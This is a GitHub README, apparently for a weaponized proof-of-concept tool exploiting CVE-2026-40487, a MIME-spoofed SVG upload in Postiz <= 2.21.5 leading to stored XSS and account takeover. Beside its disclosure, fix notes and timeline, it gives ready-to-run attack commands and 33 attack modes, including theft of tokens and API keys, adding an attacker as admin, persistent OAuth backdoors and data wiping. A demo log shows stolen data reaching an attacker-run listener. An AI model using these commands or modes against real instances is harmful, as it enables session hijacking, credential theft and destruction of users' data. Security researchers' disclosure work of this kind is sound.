Astaruf/CVE-2026-40487

GitHub: Astaruf/CVE-2026-40487

一个演示 CVE-2026-40487 漏洞利用的 PoC 工具,演示通过 MIME 类型欺骗实现存储型 XSS 与账户接管。

Stars: 0 | Forks: 0

# CVE-2026-40487 - Postiz <= 2.21.5 - 通过 MIME 类型欺骗实现任意文件上传到存储型 XSS 到账户接管

## 摘要 [Postiz](https://github.com/gitroomhq/postiz-app) 是一个开源的社交媒体管理工具,支持 28 多个平台集成(Instagram、X、LinkedIn、Facebook、TikTok 等),已在互联网上暴露了 600 多个实例。 低权限攻击者可以上传一个恶意的 SVG(或 HTML)文件,并伪造 `Content-Type: image/png` 头部。服务器在不检查实际内容的情况下接受该文件,保留原始扩展名,并由 nginx 根据扩展名提供内容类型(`image/svg+xml`)。当受害者访问该 URL 时,嵌入的 JavaScript 在应用程序源站执行,使攻击者获得**完整的会话劫持能力**,等同于账户接管。 攻击链: ``` Attacker uploads .svg with Content-Type: image/png -> Server validates only the Content-Type header (CWE-345) -> File saved to disk with original .svg extension (CWE-434) -> nginx serves it as image/svg+xml -> Browser executes embedded JavaScript (CWE-79) -> Same-origin: full access to victim's session ``` ## 影响 XSS 载荷在与应用程序**同源**的上下文中执行。即使认证 Cookie 是 `HttpOnly`,使用 `fetch()` 并设置 `credentials: "include"` 也会自动附加 Cookie。攻击者可以: - 窃取受害者的个人资料、API 密钥、OAuth 令牌等所有连接社交账户的凭据 - 读取、创建、修改和删除所有平台上的计划帖子 - 邀请攻击者成为受害者组织的管理员 - 创建持久的 OAuth 后门(`pos_*` 令牌,永不过期且在密码更改后仍有效) - 禁用通知、清除配置、强制注销 - 以受害者身份执行任意认证 API 调用 ## 漏洞详情 三个组件独立失效,构成完整的利用链: ### 1. MIME 类型验证信任客户端输入(CWE-345) `libraries/nestjs-libraries/src/upload/custom.upload.validation.ts`: ``` const validation = (value.mimetype.startsWith('image/') || value.mimetype.startsWith('video/mp4')) && value.size <= maxSize; ``` `value.mimetype` 来自 multipart 请求中的 `Content-Type` 头部,完全由攻击者控制。缺乏魔数(magic byte)检查,也未使用 `file-type` 等库进行验证。 ### 2. 保留原始扩展名到磁盘(CWE-434) `libraries/nestjs-libraries/src/upload/local.storage.ts`: ``` const filePath = `${dir}/${randomName}${extname(file.originalname)}`; writeFileSync(filePath, file.buffer); ``` `extname(file.originalname)` 从客户端提供的文件名中提取扩展名。缺乏对声明的 MIME 类型与扩展名一致性的检查。服务器还会返回完整的公开 URL,使攻击者获得可直接发送给受害者的链接。 ### 3. nginx 按扩展名提供内容类型 ``` http { include /etc/nginx/mime.types; location /uploads/ { alias /uploads/; } } ``` nginx 将 `.svg` 映射为 `image/svg+xml`,`.html` 映射为 `text/html`。未启用 `Content-Security-Policy`、`X-Content-Type-Options: nosniff` 或 `Content-Disposition: attachment`。 ## 概念验证(PoC) ### 需求 ``` Python 3.8+ pip install requests ``` ### 快速启动 ``` # 检查目标是否易受攻击 python3 poc.py http://target:5000 -e attacker@evil.com -p password --check # 从受害者那里渗出所有内容 python3 poc.py http://target:5000 -e attacker@evil.com -p password \ --lhost YOUR_IP -a full-dump # 创建持久性后门 python3 poc.py http://target:5000 -e attacker@evil.com -p password \ --lhost YOUR_IP -a create-oauth-app # 在无凭证情况下重用令牌 python3 poc.py http://target:5000 -t pos_XXXX...XXXX \ --lhost YOUR_IP -a full-dump ``` ### 攻击流程 ``` Attacker Server Postiz Victim | | | |-- 1. Login/Register -------->| | |-- 2. Upload SVG malevolo --->| | |<---- URL del file -----------| | |-- 3. Send URL to victim ---------------------------> | | |<--- 4. Opens URL ----- | | |--- SVG + JS ---------> | |<-------------- 5. JS executes, exfils data -----------| ``` ### 所有攻击模式(33 种)
数据窃取(19 种模式) - 窃取受害者数据 | 模式 | 描述 | |---|---| | `dump-self` | 受害者个人资料、组织信息、等级、API 密钥 | | `dump-personal` | 显示名称、简介、头像 | | `dump-integrations` | 已连接社交媒体集成及令牌 | | `dump-posts` | 计划与草稿帖子(最近 365 天) | | `dump-team` | 团队成员、角色与邮箱地址 | | `dump-media` | 媒体库列表 | | `dump-notifications` | 通知历史记录 | | `dump-signatures` | 帖子签名 | | `dump-webhooks` | 已配置 Webhook 及其 URL | | `dump-oauth-app` | OAuth 应用凭证(clientId、secret) | | `dump-copilot` | AI 协对话线程 | | `dump-billing` | 计费与订阅信息 | | `dump-settings` | 短链接与通知设置 | | `dump-third-party` | 第三方集成配置 | | `dump-autopost` | 自动发布规则 | | `dump-sets` | 内容集合 | | `dump-tags` | 帖子标签 | | `dump-customers` | 客户列表 | | `full-dump` | 一次性获取以上全部数据 |
权限提升(3 种模式) | 模式 | 描述 | |---|---| | `add-admin` | 邀请攻击者为受害者组织的管理员(`--attacker-email`) | | `rotate-key` | 轮换组织 API 密钥并窃取 | | `rotate-oauth` | 轮换 OAuth 应用密钥并窃取 |
破坏(9 种模式) - 破坏性操作 | 模式 | 描述 | |---|---| | `kill-notifications` | 禁用所有邮件通知 | | `edit-profile` | 修改受害者姓名与简介(`--edit-name`、`--edit-bio`) | | `wipe-signatures` | 删除所有帖子签名 | | `wipe-webhooks` | 删除所有 Webhook | | `wipe-tags` | 删除所有标签 | | `wipe-sets` | 删除所有内容集合 | | `wipe-autopost` | 删除所有自动发布规则 | | `logout-victim` | 强制注销受害者 | | `delete-oauth-app` | 删除受害者的 OAuth 应用程序 |
后门(2 种模式) - 持久化访问 | 模式 | 描述 | |---|---| | `create-oauth-app` | 创建 OAuth 应用,自动批准并窃取持久化 `pos_*` 令牌(`--oauth-redirect`) | | `steal-cookie` | 通过 `document.cookie` 窃取认证 JWT(当 `NOT_SECURED=true` 时) |
通用(2 种模式) - 高级操作 | 模式 | 描述 | |---|---| | `api-call` | 任意认证 API 调用(`--api-method`、`--api-path`、`--api-body`) | | `custom` | 执行任意 JavaScript(`--custom-js`) |
### 附加选项 | 选项 | 描述 | |---|---| | `--check` | 探测目标是否易受攻击(不执行攻击) | | `--register` | 登录前注册新账户 | | `-t / --token` | 使用 API 密钥或 `pos_*` 令牌代替凭据 | | `--format html` | 使用 HTML 载荷而非 SVG | | `--proxy` | 通过 HTTP/SOCKS 代理路由流量(例如 Burp Suite) | | `-o / --output` | 将窃取数据保存为 JSON 文件 | ## 演示 ``` $ python3 poc.py http://target:5000 -e attacker@evil.com -p S3cret! --lhost 10.0.0.1 -a full-dump ██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║ ██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝ ██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝ ╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝ Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload [*] Logging in as attacker@evil.com ... [+] Authenticated. [*] Generating payload: Exfiltrate everything in a single payload [*] Uploading malicious .svg with Content-Type: image/png ... [+] Upload successful. ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0 Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg [*] Starting exfiltration listener on 0.0.0.0:8888 ... ================================================================= Send this URL to the victim: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg ================================================================= [*] Waiting for victim to open the link ... [+] Loot received @ 2026-04-15 03:45:41 tag: victim-profile data: {"email":"victim@company.com","orgId":"...","publicApi":"bd332945..."} [+] Loot received @ 2026-04-15 03:45:41 tag: integrations data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}] [+] Loot received @ 2026-04-15 03:45:42 tag: team-members data: [{"userId":"...","email":"admin@company.com","role":"SUPERADMIN"}] ... ``` ## 修复 2.21.6 版本引入了三项变更: 1. **使用 `file-type` 库进行魔数验证**,以检查实际文件内容 2. **显式 MIME 类型白名单**(不再使用 `image/*` 通配符) 3. **基于检测内容类型覆盖扩展名** ## 时间线 | 日期 | 事件 | |---|---| | 2026-04-10 | 在源代码审查中发现漏洞 | | 2026-04-10 | 通过 GitHub Security Advisory(GHSA)上报 | | 2026-04-10 | 开发者确认并请求澄清 | | 2026-04-11 | 提交 CVSS 争议并提供证据 | | 2026-04-13 | 修复版本 v2.21.6 发布 | | 2026-04-14 | 分配 CVE-2026-40487 | | 2026-04-15 | 公开披露 | ## 参考 - [完整 Astaruf 报告](https://nstsec.com/posts/cve-2026-40487/) - [CVE-2026-40487 - GHSA 安全通告](https://github.com/gitroomhq/postiz-app/security/advisories) - [Postiz - 官方仓库](https://github.com/gitroomhq/postiz-app) - [Postiz v2.21.6 - 修复版本](https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.6) - [CWE-345:数据真实性验证不足](https://cwe.mitre.org/data/definitions/345.html) - [CWE-434:允许上传危险类型的文件](https://cwe.mitre.org/data/definitions/434.html) - [CWE-79:存储型跨站脚本](https://cwe.mitre.org/data/definitions/79.html) - [OWASP - 无限制文件上传](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) ## 免责声明 本工具仅用于**授权的安全测试和教育目的**。请仅针对您拥有或已获得明确书面许可的系统进行测试。未经授权访问计算机系统是非法的。作者不承担任何滥用责任。 ## 许可证 [MIT](LICENSE)
标签:CISA项目, Content-Type绕过, CSRF, CVE-2026-40487, CVSS 8.9, CWE-345, CWE-434, CWE-79, HTML注入, HttpOnly绕过, IP 地址批量处理, MIME类型欺骗, Nginx Content-Type解析, OAuth令牌窃取, Postiz, SSRF, SVG XSS, XSS, 任意文件上传, 会话劫持, 存储型XSS, 文件上传漏洞, 文件扩展名绕过, 文档安全, 漏洞情报, 漏洞披露, 社会工程, 网络安全审计, 补丁验证, 账户接管, 逆向工具